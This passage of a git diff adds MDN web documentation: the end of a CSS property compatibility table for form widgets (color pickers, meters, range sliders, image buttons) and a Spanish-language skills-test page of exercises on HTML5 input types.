+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Color_pickers">Color pickers</h3>
+
+<p>See the <code>{{htmlelement("input/color", "color")}}</code> input type:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>Opera handles this like a select widget with the same restriction.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>Opera handles this like a select widget with the same restriction.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td colspan="1" rowspan="3">
+    <ol>
+     <li>Supported, but there is too much inconsistency between browsers to be reliable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Meters_and_progress">Meters and progress</h3>
+
+<p>See the <code>{{htmlelement("meter")}}</code> and <code>{{htmlelement("progress")}}</code> elements:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Chrome hides the <code>{{htmlelement("progress")}}</code> and <code>{{htmlelement("meter")}}</code> element when the {{cssxref("padding")}} property is applied on a tweaked element.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td colspan="1" rowspan="3">
+    <ol>
+     <li>Supported, but there is too much inconsistency between browsers to be reliable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Range">Range</h3>
+
+<p>See the <code>{{htmlelement("input/range", "range")}}</code> input type. There is no standard way to change the style of the range grip and Opera has no way to tweak the default rendering of the range widget.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Chrome and Opera add some extra space around the widget, whereas Opera on Windows 7 stretches the range grip.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td>
+    <ol>
+     <li>The {{cssxref("padding")}} is applied, but has no visual effect.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td colspan="1" rowspan="3">
+    <ol>
+     <li>Supported, but there is too much inconsistency between browsers to be reliable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Image_buttons">Image buttons</h3>
+
+<p>See the <code>{{htmlelement("input/image", "image")}}</code> input type:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">T</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>CSS box model</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Text and font</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td style="text-align: center; vertical-align: top;">N.A.</td>
+   <td></td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Border and background</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td>
+   <td colspan="1"></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td colspan="1">
+    <ol>
+     <li>IE9 does not support this property.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td>
+   <td colspan="1">
+    <ol>
+     <li>IE9 does not support this property.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<h3 id="Learning_path">Learning path</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/HTML5_input_types">HTML5 input types</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Additional_form_controls">Additional form controls</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/UI_pseudo-classes">UI pseudo-classes</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li>
+</ul>
+
+<h3 id="Advanced_Topics">Advanced Topics</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li>
+</ul>
diff --git a/files/es/learn/html/forms/prueba_tus_habilidades_colon__controles_html5/index.html b/files/es/learn/html/forms/prueba_tus_habilidades_colon__controles_html5/index.html
new file mode 100644
index 0000000000..b73c8d4442
--- /dev/null
+++ b/files/es/learn/html/forms/prueba_tus_habilidades_colon__controles_html5/index.html
@@ -0,0 +1,75 @@
+---
+title: 'Prueba tus habilidades: controles HTML5'
+slug: 'Learn/HTML/Forms/Prueba_tus_habilidades:_controles_HTML5'
+tags:
+  - Aprendizaje
+  - Evaluación
+  - Formulário
+  - HTML5
+  - Principiante
+translation_of: 'Learn/Forms/Test_your_skills:_HTML5_controls'
+---
+<div>{{learnsidebar}}</div>
+
+<p>El objetivo de esta prueba es evaluar si has comprendido nuestro artículo <a href="/en-US/docs/Learn/Forms/HTML5_input_types">The HTML5 input types</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes intentar resolver esta prueba en los editores interactivos más abajo, sin embargo, puede ser útil descargar el código y usar una herramienta en línea como <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, o <a href="https://glitch.com/" rel="noopener">Glitch</a> para trabajar en las tareas.<br>
+ <br>
+ Si te atascas, pide ayuda — mira la sección <a href="https://wiki.developer.mozilla.org/es/docs/Learn/HTML/Introduccion_a_HTML/Prueba_tus_habilidades:_Enlaces#Evaluaci%C3%B3n_o_ayuda_adicional">Evaluación o ayuda adicional</a> al final de esta página.</p>
+</div>
+
+<h2 id="Controles_HTML5_1">Controles HTML5 1</h2>
+
+<p>Primero exploraremos algunos de los tipos nuevos de <code>input</code> en HTML5. Crea las etiquetas <code>input</code> apropiadas para que un usuario actualice sus detalles para:</p>
+
+<ol>
+ <li>Email</li>
+ <li>Website</li>
+ <li>Número de teléfono</li>
+ <li>Color favorito</li>
+</ol>
+
+<p>Intenta actualizar el código en vivo más abajo para retrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/tasks/html5-controls/html5-controls1.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="/en-US/docshttps://github.com/mdn/learning-area/blob/master/html/forms/tasks/html5-controls/html5-controls1-download.html">Descarga el código inicial de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Controles_HTML5_2">Controles HTML5 2</h2>
+
+<p>A continuación, queremos que implementes un control deslizante para permitir al usuario escoger el número máximo de personas para invitar a su fiesta.</p>
+
+<ol>
+ <li>Implemente un control deslizante básico que acompañe a la etiqueta provista.</li>
+ <li>Establezca un valor minimo de 1, uno máximo de 30 y un valor inicial de 10.</li>
+ <li>Crea un elemento de salida correspondiente para poner el valor actual del deslizador. Asígnale la clase invite-output, y asocialo semanticamente con le entrada. Si haces esto correctamente, el JavaScript incluido en la página automáticamente actualizará el valor cuando se deslice el control.</li>
+</ol>
+
+<p>Intenta actualizar el código en vivo más abajo para retrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/tasks/html5-controls/html5-controls2.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/forms/tasks/html5-controls/html5-controls2-download.html">Descarga el código inicial de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Evaluación_o_ayuda_adicional">Evaluación o ayuda adicional</h2>
+
+<p>Puedes practicar estos ejemplos en los editores interactivos que se encuentran más arriba.</p>
+
+<p>Si deseas que tu trabajo sea evaluado, o estás atorado y quieres solicitar ayuda:</p>
+
+<ol>
+ <li>Pon tu trabajo en un editor en línea con capacidad de compartir como <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, o <a href="https://glitch.com/" rel="noopener">Glitch</a>. Puedes escribir el código por ti mismo, o usar los archivos de punto de inicio enlazados en las secciones superiores.</li>
+ <li>Escribe una publicación solicitando evaluacion y/o ayuda en el <a href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Tu publicación debería incluir:
+  <ul>
+   <li>Un título descriptivo como "Solicito evaluacion para la prueba de habilidad de controles HTML5 1".</li>
+   <li>Detalles de lo que ya has intentado, y que te gustaría que hiciéramos, por ejemplo, si estas atascado y necesitas ayuda, o quieres una evaluación.</li>
+   <li>Un enlace al ejemplo que quieres que sea evaluado o por el que necesitas ayuda en un  editor en linea con capacidad de compartir (como se mencionó en el paso 1 más arriba). Esta es una buena práctica  - Es muy dificil ayudar a alguien con un problema de codificación si no puedes ver su código.</li>
+   <li>Un enlace a la tarea o página de evaluacion actual, para que podamos encontrar la pregunta con la cual necesitas ayuda.</li>
+  </ul>
+ </li>
